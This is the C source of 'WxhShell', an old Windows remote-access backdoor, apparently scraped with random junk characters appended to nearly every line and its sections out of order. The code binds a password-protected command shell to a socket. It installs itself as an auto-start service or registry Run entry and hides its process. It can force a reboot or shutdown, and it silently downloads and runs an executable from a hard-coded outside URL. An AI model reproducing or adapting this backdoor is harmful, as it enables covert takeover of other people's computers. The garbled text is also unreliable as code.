    if(Boot(SHUTDOWN)) xgqv2s>L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uQtk|)T E  
    else { <bXWkj  
    closesocket(wsh); S]%U]  
    ExitThread(0); Dw/Gha/  
    } ;E?  hz  
    break; Vt)\[Tl~  
    } 5OW8G][  
  // 获取shell b|8>eY  
  case 's': { ,#jhKnk2e  
    CmdShell(wsh); y_4krY|Zx  
    closesocket(wsh); #JR,C -w  
    ExitThread(0); g6/N\[b%  
    break; vWi. []  
  } Z0 IxYEp  
  // 退出 8xpYQ<cax  
  case 'x': { NRuG?^/}d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a.&#dxgW[  
    CloseIt(wsh); $X=D9h  
    break; ctUF/[_w;  
    } _ kSPUP5  
  // 离开 +V+*7s%fL  
  case 'q': { r~G]2*3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *[1u[H9Cv  
    closesocket(wsh); +=*m! 7Mr  
    WSACleanup(); &;h~JS=  
    exit(1); p1VahjRE-  
    break; r {B,uj"  
        } 0.BUfuuh  
  } & kjwIg{  
  } &c<}++'h  
@FdCbPl$  
  // 提示信息 JfP\7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @+\S!o3m  
} 4>"cc@8&~  
  } 4lh   
p-'6_\F.Ke  
  return; q4.dLU,1  
} 'f?&EsIV?  
tC@zM.v%  
// shell模块句柄 mQ ^ @ \s  
int CmdShell(SOCKET sock) o&XMgY~  
{ KIAe36.~  
STARTUPINFO si; `k}l$ih`X  
ZeroMemory(&si,sizeof(si)); 4j/iG\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !G"9xrr1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s{z~Axup-  
PROCESS_INFORMATION ProcessInfo; oLqbR?  
char cmdline[]="cmd"; h\u0{!@}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qzH qj;  
  return 0; .KU SNrs'  
} n:bB$Ai2  
Zu0;/_rN  
// 自身启动模式 3b?OW7H  
int StartFromService(void) 8pq-nuf|K  
{ MCi`TXr  
typedef struct ^0s\/qyqm  
{ J%\~<_2ny  
  DWORD ExitStatus; x'@32gv  
  DWORD PebBaseAddress; +i`Q 7+d  
  DWORD AffinityMask; -#S)}N En  
  DWORD BasePriority; CEX}`I*-  
  ULONG UniqueProcessId; Nr]8P/[~  
  ULONG InheritedFromUniqueProcessId; )pZekh]v  
}   PROCESS_BASIC_INFORMATION; te\h?H  
.?i-rTF:  
PROCNTQSIP NtQueryInformationProcess; C'8!cPFVv  
EOBs}M;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jI{~s]Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m,@1LwBH  
F[7Kw"~J  
  HANDLE             hProcess; KCJN<  
  PROCESS_BASIC_INFORMATION pbi; ?9(o*lp  
;X$q#qzN#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o/dMm:TF  
  if(NULL == hInst ) return 0; pVV}1RDa  
vhYMWfbY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `dgM|.w5=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !O F?xW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V{T{0b" \U  
h"PS-]:CD  
  if (!NtQueryInformationProcess) return 0; S7UZGGjTk  
{ p!_-sL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "^9[OgE:  
  if(!hProcess) return 0; C?[a3rNH(  
B|Fl ,55  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cZDxsd]  
9RCO|J  
  CloseHandle(hProcess); %R.xS} Q  
@ kJ0K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /]/>jz>  
if(hProcess==NULL) return 0; ,W1a<dl  
BLL]^qN;Y  
HMODULE hMod; "+n4c'  
char procName[255]; _}I(U?Q-C  
unsigned long cbNeeded; H:q)^$s  
a@fE46o6<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z29qARiX  
c7+Djqs  
  CloseHandle(hProcess); aE7u5 PM  
%ezb^O_6v  
if(strstr(procName,"services")) return 1; // 以服务启动 ggm2%|?X  
atLV`U&t  
  return 0; // 注册表启动 uq!;  
} <$ i"zb  
 cS D._"P  
// 主模块 ? o~:'Z  
int StartWxhshell(LPSTR lpCmdLine) 4#^'lKIx  
{ YH)Opk  
  SOCKET wsl; $5TepH0D  
BOOL val=TRUE; $=PWT-GIR  
  int port=0; Qy=HrL]x  
  struct sockaddr_in door; ~!nLbK2  
kgbobolA  
  if(wscfg.ws_autoins) Install(); Y{k>*: Ax_  
HYjMNj0  
port=atoi(lpCmdLine); b&lN%+%}  
eeW' [  
if(port<=0) port=wscfg.ws_port; L bJtpwz>z  
0$eyT-:d  
  WSADATA data; $ ^W-Wmsz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F . K2  
5l41Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   On{~St'V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gohAp  
  door.sin_family = AF_INET; ]ZzoJ7lr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $?FS00p*|X  
  door.sin_port = htons(port); 7$!`p,@we/  
AIZW@Nq.5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ="uKWt6n'  
closesocket(wsl); V I6\   
return 1; M"=8O>NZ2  
} $hG;2v  
8{R_6BS  
  if(listen(wsl,2) == INVALID_SOCKET) { Qs|OG  
closesocket(wsl); _Kc 1  
return 1; Dh2:2Rz=#7  
} 2.[_t/T  
  Wxhshell(wsl); "| K f'/r  
  WSACleanup(); s1X]RXX&j  
az0cS*@  
return 0; Vh"MKJ'R^  
9o-!ecx}  
} kWB, ;7  
Ya}T2VX  
// 以NT服务方式启动 cCM j\H@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UdT&cG  
{ [RAj3Fr0  
DWORD   status = 0; >f&xJq  
  DWORD   specificError = 0xfffffff; +"]oc{W!  
Zxg1M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `kv1@aQPL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; eY J{LPo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _h0-  
  serviceStatus.dwWin32ExitCode     = 0; <"* "1(wN  
  serviceStatus.dwServiceSpecificExitCode = 0; ZhH+D`9  
  serviceStatus.dwCheckPoint       = 0; mfXD1]<.  
  serviceStatus.dwWaitHint       = 0; `.{U-U\  
o_iEkn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pG/ NuImA  
  if (hServiceStatusHandle==0) return; yh S#&)O  
WK pUn8&N  
status = GetLastError(); /&CUspb  
  if (status!=NO_ERROR) Vy]A,Rn7  
{ B,3 t`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9'1hjd3k  
    serviceStatus.dwCheckPoint       = 0; D9ANm"#  
    serviceStatus.dwWaitHint       = 0; S8\+XJ  
    serviceStatus.dwWin32ExitCode     = status; `SCy<w3$+[  
    serviceStatus.dwServiceSpecificExitCode = specificError; (~S<EUc$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _1sP.0 t  
    return; &k1/Z*/  
  } IuNkfBe4m  
]Z _$'?f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l;Q >b]DZ  
  serviceStatus.dwCheckPoint       = 0;  ylk{!  
  serviceStatus.dwWaitHint       = 0; cL#-*_(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cv3L&zg M  
} Vl<`|C>  
aiYo8+{!#  
// 处理NT服务事件,比如:启动、停止 kEO1TS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7'Lp8  
{ aC`Li^  
switch(fdwControl) }/20%fP  
{ y =R aJm  
case SERVICE_CONTROL_STOP: NdZ)[f:2  
  serviceStatus.dwWin32ExitCode = 0; 0f1H8zV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P*0f~eu  
  serviceStatus.dwCheckPoint   = 0; `%|u!  
  serviceStatus.dwWaitHint     = 0; *xPB<v2N:P  
  { XM$GQn]B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;v_ls)_,-  
  } */nuv k  
  return; dgXg kB'  
case SERVICE_CONTROL_PAUSE: s3seK6x'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !Q!&CG5l  
  break; i<mevL  
case SERVICE_CONTROL_CONTINUE: 3c b[RQf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =nzFd-P  
  break; [eyb7\#   
case SERVICE_CONTROL_INTERROGATE: V"O 9n[|  
  break; H.:9:I[n  
}; HL@TcfOe~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~x'zX-@rC  
} qYiv   
GWgd8x*V  
// 标准应用程序主函数 Mq@}snp"S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?1CJf>B>  
{ `|Ey)@w  
!nwbj21%  
// 获取操作系统版本 |) O):  
OsIsNt=GetOsVer(); %l,4=TQ[m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bhYU5I 9  
q3+I<qsAz  
  // 从命令行安装 glx2I_y  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]oEQ4  
AuAT]`  
  // 下载执行文件 ;Z*'D}  
if(wscfg.ws_downexe) { (-\]A|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /l ^y}o %?  
  WinExec(wscfg.ws_filenam,SW_HIDE); usy,V"{  
} ijF V<P  
_%%yV  
if(!OsIsNt) { ,ijW(95{k  
// 如果时win9x,隐藏进程并且设置为注册表启动 JA<~xo[Q9  
HideProc(); gKWzFnW  
StartWxhshell(lpCmdLine); GMdI0jaG#  
} AF GwT%ZD  
else KSc~GP _  
  if(StartFromService()) j{)~QD?  
  // 以服务方式启动 @ u+|=x];  
  StartServiceCtrlDispatcher(DispatchTable); ZOuR"9]  
else eQ<xp A  
  // 普通方式启动 OF8WDo`  
  StartWxhshell(lpCmdLine); 12lEs3  
"R23Pi  
return 0; i j/o;_  
} Aq"PG}Ic  
3za`>bUN  
<GaT|Hhc=  
B9*Sfw%  
=========================================== @^!\d#/M  
\!<"7=(J{4  
b/nOdFO@  
Q2"WV  
\45(#H<$  
>ZeEX, N  
" ,T$r9!WTM  
c;wA  
#include <stdio.h> )Oievu_"|  
#include <string.h> b+Vi3V  
#include <windows.h> @h#Xix7  
#include <winsock2.h> i=L8=8B`  
#include <winsvc.h> nW GR5*e:  
#include <urlmon.h> x%6hM |U  
3D[=b%2\  
#pragma comment (lib, "Ws2_32.lib") O: JPJ"!  
#pragma comment (lib, "urlmon.lib") (B:uc_+  
"15=ET  
#define MAX_USER   100 // 最大客户端连接数 ]G*$W+G]  
#define BUF_SOCK   200 // sock buffer /lJjQ]c;>  
#define KEY_BUFF   255 // 输入 buffer >S'>!w  
z h%qS~8Yv  
#define REBOOT     0   // 重启 2ce'fMV  
#define SHUTDOWN   1   // 关机 G#0,CLGN^  
#ZlM?Q  
#define DEF_PORT   5000 // 监听端口 ;& ~929  
!BUi)mo  
#define REG_LEN     16   // 注册表键长度 6e# wR/  
#define SVC_LEN     80   // NT服务名长度 Cw#V`70a  
Lm|al.Z  
// 从dll定义API m gVML&^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?E7=:h(@t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u!Bk,}CE`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &$#99\ /  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .S!-e$EJ  
O>AFF@=  
// wxhshell配置信息 Pq?*C;D  
struct WSCFG { 9"ugz^uKt  
  int ws_port;         // 监听端口 #ZWl=z5aBi  
  char ws_passstr[REG_LEN]; // 口令 <KLg0L<W  
  int ws_autoins;       // 安装标记, 1=yes 0=no .S_QQM}Q  
  char ws_regname[REG_LEN]; // 注册表键名 U5<@<j(@  
  char ws_svcname[REG_LEN]; // 服务名 o/1JO_41  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RZh}:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X+iK<F$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !M(:U,?B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0`n 5x0R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A(+:S"|@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Hf%_}Du /`  
SF< [FM%1  
}; "PzP; Br  
:l"dYfl  
// default Wxhshell configuration v`B4(P1Z  
struct WSCFG wscfg={DEF_PORT, jdM=SBy7q  
    "xuhuanlingzhe", S}cF0B1E*  
    1, ?Y3@"rdR  
    "Wxhshell", )0-o%- e  
    "Wxhshell", i&&qbZt  
            "WxhShell Service", 5UO k)rOf  
    "Wrsky Windows CmdShell Service", "8HE^Po/pn  
    "Please Input Your Password: ", Uh}X<d/V  
  1, Spgg+;9  
  "http://www.wrsky.com/wxhshell.exe", B 8{ uR  
  "Wxhshell.exe" jczq `yW  
    }; sRq U]i8l  
o56kp3b)b  
// 消息定义模块 Ae49n4J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I4il R$jg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YPszk5hn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ezZph"&  
char *msg_ws_ext="\n\rExit."; 0S.?E.-&0  
char *msg_ws_end="\n\rQuit."; "={L+di:M  
char *msg_ws_boot="\n\rReboot..."; x?L hq2  
char *msg_ws_poff="\n\rShutdown..."; FH*RU1Z  
char *msg_ws_down="\n\rSave to "; ]XUSqai  
l1<?ONB.#  
char *msg_ws_err="\n\rErr!"; GwQn;gkF  
char *msg_ws_ok="\n\rOK!"; $]*d#`Sy{%  
<xlm K(  
char ExeFile[MAX_PATH]; Mm#[&j[Y  
int nUser = 0; gs`> C(  
HANDLE handles[MAX_USER]; [5Y<7DS  
int OsIsNt; =i6:puf  
qks|d_   
SERVICE_STATUS       serviceStatus; D9-Lg%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (q~0XE/ a  
zZ,Yfd |W  
// 函数声明 )ooWQ-%P  
int Install(void); &N\[V-GP2G  
int Uninstall(void); 0=;YnsY  
int DownloadFile(char *sURL, SOCKET wsh); [6R fS  
int Boot(int flag); gX,9Gh  
void HideProc(void); 2[up+;%Y  
int GetOsVer(void); &&PgOFD  
int Wxhshell(SOCKET wsl); 254~:eB0  
void TalkWithClient(void *cs); XDYosC:  
int CmdShell(SOCKET sock); a)9rs\Is{  
int StartFromService(void); p4wr`" Zz  
int StartWxhshell(LPSTR lpCmdLine); V`k8j-*s  
r7I B{}>-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m:{tgcE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &71e5<(dG  
(F8AL6  
// 数据结构和表定义 {oWsh)[x2  
SERVICE_TABLE_ENTRY DispatchTable[] = 6[?}6gQ  
{ sX:lE^)-z  
{wscfg.ws_svcname, NTServiceMain}, XnXb&@Y  
{NULL, NULL} 1V%'.l9  
}; Wsm`YLYkt!  
bGv4.:)  
// 自我安装 p4> ,Fwy2  
int Install(void) CLN+I'uX0  
{ %S#WPD'Y  
  char svExeFile[MAX_PATH]; Hr }k5'  
  HKEY key; (~()RkT  
  strcpy(svExeFile,ExeFile); Vk7=7%xW  
<4mQ*6  
// 如果是win9x系统,修改注册表设为自启动 g:gB`8w?  
if(!OsIsNt) { Jps .;yjk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;&?pd"^<_Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A/ 0qk  
  RegCloseKey(key); J_ J+cRwq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [xdj6W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \##`pa(8  
  RegCloseKey(key); +v15[^F  
  return 0;  Q2\  
    } [ rdsv  
  } G;]:$J  
} _N'75  
else { )|]Z>>%t  
)+Y&4Qu  
// 如果是NT以上系统,安装为系统服务 (ZPXdr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7ZFJexN]  
if (schSCManager!=0) o4)hxs  
{ TnE+[.Qu  
  SC_HANDLE schService = CreateService &KqVN]1+^  
  ( ^M|K;jt>  
  schSCManager, oJY[{-qW  
  wscfg.ws_svcname, 6^YJ]w  
  wscfg.ws_svcdisp, & _K*kI:  
  SERVICE_ALL_ACCESS, ]d'^Xs  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z\.1>/Z=  
  SERVICE_AUTO_START, nyhMnp#<  
  SERVICE_ERROR_NORMAL, z $6JpG  
  svExeFile, C6@t  
  NULL, 'IQsve7cI  
  NULL, QzthTX<  
  NULL, .>]N+:O  
  NULL, OVswt  
  NULL dZ2`{@AYY  
  ); 8$}OS-  
  if (schService!=0) Oif,|:  
  { Vxh.<b6&'  
  CloseServiceHandle(schService); :oa9#c`L  
  CloseServiceHandle(schSCManager); Y<LNQ]8\G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h&'=F)5  
  strcat(svExeFile,wscfg.ws_svcname); AcC8)xRpk4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O&$0&dhc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Iql5T#K+  
  RegCloseKey(key); 0kLEBoOh  
  return 0; vA-PR&  
    } SS8ocGX  
  } 3"rkko?A  
  CloseServiceHandle(schSCManager); 1dv=xe.  
}  5$Kf]ZP  
} T *P+Fh"  
w O!u!I  
return 1; BGqa-d  
} i\p:#'zk5  
Q 4K +*Fi}  
// 自我卸载 {Y_Nj`#BT  
int Uninstall(void) (9GbG"   
{ h>3H7n.  
  HKEY key; Hj~O49%j&  
9<cOYY  
if(!OsIsNt) { I; j3*lV_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^ d\SPZ  
  RegDeleteValue(key,wscfg.ws_regname); /V^sJ($V$~  
  RegCloseKey(key); 3N< & u   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }kPVtSQ  
  RegDeleteValue(key,wscfg.ws_regname); ;CmOsA,1  
  RegCloseKey(key); !N~*EI$  
  return 0; nem@sB;v#  
  } 9S1#Lr`r  
} $G[KT):N  
} ,")F[%v  
else { \4s;!R!  
+,_c/(P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mk=#\>  
if (schSCManager!=0) V0NVGRQ  
{ Lt>7hBe"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u~'OcO  
  if (schService!=0) T]71lRY5  
  { gX*K&*q   
  if(DeleteService(schService)!=0) { gaeOgP.0  
  CloseServiceHandle(schService); J}@GKNm  
  CloseServiceHandle(schSCManager); rYGRz#:~+  
  return 0; hKksVi  
  } g42T#p8^  
  CloseServiceHandle(schService); IJPgFZ7  
  } se,Z#H  
  CloseServiceHandle(schSCManager); 9} *$n&B  
} (hf zM+2  
} AMT slo  
h5-d;RKE  
return 1; J Jy{@[m  
} p\S8oHWe  
`C'}e  
// 从指定url下载文件 afm_Rrg[  
int DownloadFile(char *sURL, SOCKET wsh) f z%tA39m  
{ KXe ka  
  HRESULT hr; E5{n?e  
char seps[]= "/"; t _\MAK  
char *token; x!?Z *v@I  
char *file; M 9"-WIG@h  
char myURL[MAX_PATH]; 2Xgx*'t\  
char myFILE[MAX_PATH]; F<r4CHfh;  
;r!\-]5$  
strcpy(myURL,sURL); 0w3b~RJ  
  token=strtok(myURL,seps); 0&$xX!]  
  while(token!=NULL) Gvn: c/m;  
  { c]v +  
    file=token; Taasi` k  
  token=strtok(NULL,seps); kF-TG3  
  } :`J>bHE  
M=%!IT  
GetCurrentDirectory(MAX_PATH,myFILE); 0j$OE  
strcat(myFILE, "\\"); ^saM$e^c:  
strcat(myFILE, file); \!wh[qEQ\  
  send(wsh,myFILE,strlen(myFILE),0); z%};X$V`J  
send(wsh,"...",3,0); vlQ0gsXK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^<;w+%[MT  
  if(hr==S_OK) Wk[)+\WQ?  
return 0; P<L&c_u  
else B01^oYM}  
return 1; d_T<5Hin  
e?<D F.Md+  
} :t>Q:mX(N  
}17bV, t  
// 系统电源模块 m!Af LSlwm  
int Boot(int flag) #!d]PH746  
{ b-nYxd  
  HANDLE hToken; mV zu~xym  
  TOKEN_PRIVILEGES tkp; *<k&#D"m  
O+FBQiv  
  if(OsIsNt) { N84qcc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {^wdJZ~QLK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PYieD}'  
    tkp.PrivilegeCount = 1; RbAt3k;y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J wFned#T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o?dR\cxj  
if(flag==REBOOT) { N D* ]gM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BD'NuI  
  return 0; hbnS~sva  
} 'w6hW7"L  
else { i+AUQ0Zbf6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [q$e6JwAt  
  return 0; `,Zb2"  
} g)cY\`&W8  
  } } J(1V!EA  
  else { x@Vt[}e  
if(flag==REBOOT) { (UcFNeo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  tgW kX  
  return 0; /e<5Np\X  
} 6 [ _ fD  
else { 4:3_ER]J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GZ"/k<~0  
  return 0; CWvlr nv  
} n?Zf/T  
} %~\  
gvo?([j-m  
return 1; _ n_sfT6)B  
} 6ZEdihBei  
8m7;x/0ld  
// win9x进程隐藏模块 H:Lt$  
void HideProc(void) r=0j7^B#  
{ ,D8&q?a  
l0#4Fma  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $WClpvVj  
  if ( hKernel != NULL ) * gHCy4u{  
  { MCHOK=G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [` 9^QEj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *;X-\6  
    FreeLibrary(hKernel); `sxN!Jj?  
  } Gl;f#}  
xFX&9^Uk  
return; ['t8C  
} ;q &0,B  
/f]/8b g>  
// 获取操作系统版本 K @C4*?P  
int GetOsVer(void) hiIya WU  
{ :iEAUM  
  OSVERSIONINFO winfo; 9'X@@6b*'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _XWnS9  
  GetVersionEx(&winfo); P4[]qbfd,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @it/$>R^)  
  return 1; e&ts\0  
  else +9_,w bF  
  return 0; '$*[SauAG  
} V" }*"P-%  
6lZGcRO  
// 客户端句柄模块 WP!il(Gr  
int Wxhshell(SOCKET wsl)  z \^  
{ Se/ss!If  
  SOCKET wsh; N-Z^G<[q.  
  struct sockaddr_in client; ,\}k~ U99  
  DWORD myID; % GVN4y&  
) H+d.Y  
  while(nUser<MAX_USER) ETg{yBsp  
{ _j>L4bT  
  int nSize=sizeof(client); h[,XemwX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Oc~VHT  
  if(wsh==INVALID_SOCKET) return 1; H\d;QN9Q;  
lfgtcR{l5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S2bexbp0o  
if(handles[nUser]==0) D@*|24y  
  closesocket(wsh); sy=dY@W^  
else U\?+s2I)v  
  nUser++; ,0,Oe=d  
  } i=V-@|Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z g)|rm  
d^y86pq.  
  return 0; [!Ao,rt?Vg  
} +9jivOmK  
;da4\bppt  
// 关闭 socket @Rf^P(  
void CloseIt(SOCKET wsh) tbS#^Y  
{ nAvs~J  
closesocket(wsh); Cg7)S[zl  
nUser--; c~37 +^B:  
ExitThread(0); B/rzh? b  
} w#rVSSXQ3  
:U8k|,~f  
// 客户端请求句柄 }Wqtip:L  
void TalkWithClient(void *cs) IG&B2*  
{ U(!?d ]en  
_C5nApb  
  SOCKET wsh=(SOCKET)cs; E;$$+rA  
  char pwd[SVC_LEN]; ]y}Zi/zh  
  char cmd[KEY_BUFF]; :k\} I k  
char chr[1]; <oQ6ZX  
int i,j; /0-\ek ye  
}\ EL;sT  
  while (nUser < MAX_USER) { lZBv\JE  
py=i!vb&Z%  
if(wscfg.ws_passstr) { Zq^^|[)bA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nqrDT1b**  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); shD+eHo$  
  //ZeroMemory(pwd,KEY_BUFF); PH[4y:^DN  
      i=0; i:{:xKiCa  
  while(i<SVC_LEN) { PQi }Evxa  
5e)i!;7Uv  
  // 设置超时 vyujC`61d  
  fd_set FdRead; y=wdR|b  
  struct timeval TimeOut; E~}[+X@  
  FD_ZERO(&FdRead); y%JF8R;n  
  FD_SET(wsh,&FdRead); m+p4Mc%u  
  TimeOut.tv_sec=8; yZ?$8r  
  TimeOut.tv_usec=0; x!>d 6lgej  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pA*i!.E/b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aw]8V:)$J  
k,A M]H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uRFNfX(*  
  pwd=chr[0]; 8cB=}XgYS  
  if(chr[0]==0xd || chr[0]==0xa) { @::lJDGVv  
  pwd=0; \6Xn]S  
  break; J#+Op/mmo  
  } *Q0lC1GQ  
  i++; sFCf\y  
    } K[n<+e;G  
\Ec X!aC  
  // 如果是非法用户,关闭 socket ~R)1nN|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X"wF Qa  
} vu44!c@  
UC.8DaIPN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DhHtz.6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z"9aAytd  
r.?qEe8VV  
while(1) {  GsI[N%  
6<#Slw[  
  ZeroMemory(cmd,KEY_BUFF); LMt0'Ml9  
rYD']%2  
      // 自动支持客户端 telnet标准   4a#B!xW  
  j=0; )eVzSj>MT  
  while(j<KEY_BUFF) { ybC-f'0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,#=eu85 '  
  cmd[j]=chr[0]; ixg\[5.Q+  
  if(chr[0]==0xa || chr[0]==0xd) { n<=y"*  
  cmd[j]=0; x,}ez  
  break; w' .'Yu6  
  } 2m|Eoc&M_  
  j++; hjw4Xzju  
    } t2~"B&7My  
\m@] G3=]  
  // 下载文件 /FoUo   
  if(strstr(cmd,"http://")) { D\@e{.$MZ|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $# D n4  
  if(DownloadFile(cmd,wsh)) xAeZ7.Q&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bOi};/f  
  else  |h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }5QZ6i#  
  } =`rppO  
  else { 7k.d|<mRv  
]6jHIk|  
    switch(cmd[0]) { /j`i/Ha1  
  Og_2k ~  
